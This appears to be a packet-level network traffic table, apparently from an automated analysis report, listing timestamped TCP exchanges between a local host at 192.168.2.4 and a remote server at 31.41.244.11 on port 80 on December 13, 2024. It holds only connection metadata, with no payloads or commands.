Dec 13, 2024 01:51:28.302315950 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.302517891 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.305427074 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.305573940 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.305742025 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.308479071 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.308701992 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.308959961 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.309123993 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.311633110 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.311871052 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.311933041 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.314785957 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.315186024 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.315378904 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.317974091 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.318151951 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.318316936 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.321116924 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.321212053 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.321546078 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.321609020 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.324297905 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.324372053 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.324487925 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.324676037 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.327459097 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.327506065 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.327591896 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.327778101 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.330517054 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.330766916 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.331052065 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.331249952 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.333656073 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.333791971 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.333857059 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.337030888 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.337124109 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.337130070 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.337213039 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.339970112 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.340141058 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.340388060 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.340569019 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.343084097 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.343146086 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.343226910 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.343394995 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.346246958 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.346308947 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.346702099 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.346867085 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.349386930 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.349445105 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.349487066 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.350235939 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.352567911 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.352642059 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.352709055 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.355664968 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.355827093 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.356201887 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.356410027 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.358814955 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.358879089 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.358982086 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.361896038 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.362065077 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.447596073 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.447652102 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.447865009 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.448604107 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.448657990 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.448786020 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.448786020 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.451020956 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.451133013 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.451316118 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.453599930 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.453979969 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.454173088 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.456172943 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.456249952 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.456279039 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.457715034 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.458687067 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.458750963 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.458856106 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.458914042 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.461153030 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.461215019 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.461306095 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.463622093 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.463696957 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.463830948 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.463830948 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.465996981 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.466120958 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.466207981 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.468305111 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.468425035 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.468494892 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.468494892 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.470570087 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.470675945 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.470859051 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.472877026 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.472940922 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.473047018 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.473047018 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.475152016 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.475272894 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.475352049 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.477384090 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.477509975 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.477560043 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.477560043 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.479604006 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.479748964 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.479764938 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.479851007 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.481749058 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.481867075 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.482055902 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.483911991 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.484023094 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.484095097 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.484095097 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.486043930 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.486181974 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.486246109 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.488218069 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.488276958 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.488415956 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.488415956 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.490251064 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.490478039 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.490638971 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.492389917 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.492520094 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.492559910 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.492559910 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.494518042 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.494652033 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.494704008 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.496648073 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.496728897 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.496812105 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.496812105 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.498749971 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.498908997 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.499108076 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.500896931 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.501023054 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.501080036 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.501080036 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.503017902 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.503144026 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.503200054 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.505147934 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.505225897 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.505286932 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.505341053 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.507281065 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.507339954 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.507388115 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.507443905 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.509418964 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.509480000 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.509538889 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.511523962 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.511581898 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.511636972 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.511693954 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.513653040 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.513787031 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.513843060 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.515800953 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.515861034 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.515916109 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.516005039 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.517980099 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.518038988 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.518099070 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.520008087 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.520065069 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.520188093 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.520241976 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.522128105 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.522252083 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.522310019 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.524261951 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.524316072 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.524388075 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.524441957 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.526391983 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.526532888 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.526587963 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.528548956 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.528604031 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.528659105 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.528711081 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.530622005 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.530736923 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.530791044 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.532761097 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.532829046 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.532897949 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.533091068 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.534910917 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.534948111 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.535000086 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.537117004 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.537183046 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.537255049 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.537444115 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.539163113 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.539223909 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.539303064 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.539356947 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.541290045 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.541429996 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.541481018 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.543390989 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.543445110 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.543509960 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.543565035 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.545502901 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.545644045 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.545701981 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.547632933 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.547689915 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.547744036 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.547796011 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.549807072 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.549959898 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.550057888 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.551907063 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.551981926 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.552078009 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.552078009 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.554109097 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.554260969 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.554318905 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.556144953 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.556221008 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.556245089 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.556303024 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.558219910 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.558351040 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.558402061 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.560384989 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.560499907 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.560569048 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.560569048 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.639484882 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.639534950 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.639899015 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.640216112 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.640275955 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.640418053 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.640418053 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.641726971 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.641801119 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.641964912 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.643408060 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.643465042 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.643493891 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.643544912 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.644994020 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.645049095 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.645123005 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.645174980 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.646611929 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.646667957 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.646672964 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.646717072 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.648215055 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.648269892 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.648272038 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.648320913 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.649786949 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.650048018 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.650105000 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.651372910 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.651427031 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.651429892 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.651480913 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.652894020 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.652945042 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.653326035 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.653386116 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.654462099 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.654524088 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.654531002 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.654582024 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.655944109 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.655998945 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.656045914 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.656099081 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.657445908 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.657500029 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.657573938 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.657624006 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.659013033 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.659068108 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.659070015 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.659118891 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.660391092 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.660445929 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.660568953 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.660619974 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.661876917 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.661931992 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.661932945 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.661983967 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.663381100 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.663434982 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.663438082 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.663489103 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.664774895 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.664827108 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.664891005 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.664940119 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.666192055 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.666321039 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.666377068 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.667591095 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.667645931 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.667747021 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.667799950 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.668982029 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.669032097 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.669105053 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.669158936 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.670404911 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.670536041 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.670635939 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.671808004 CET	80	49809	31.41.244.11	192.168.2.4
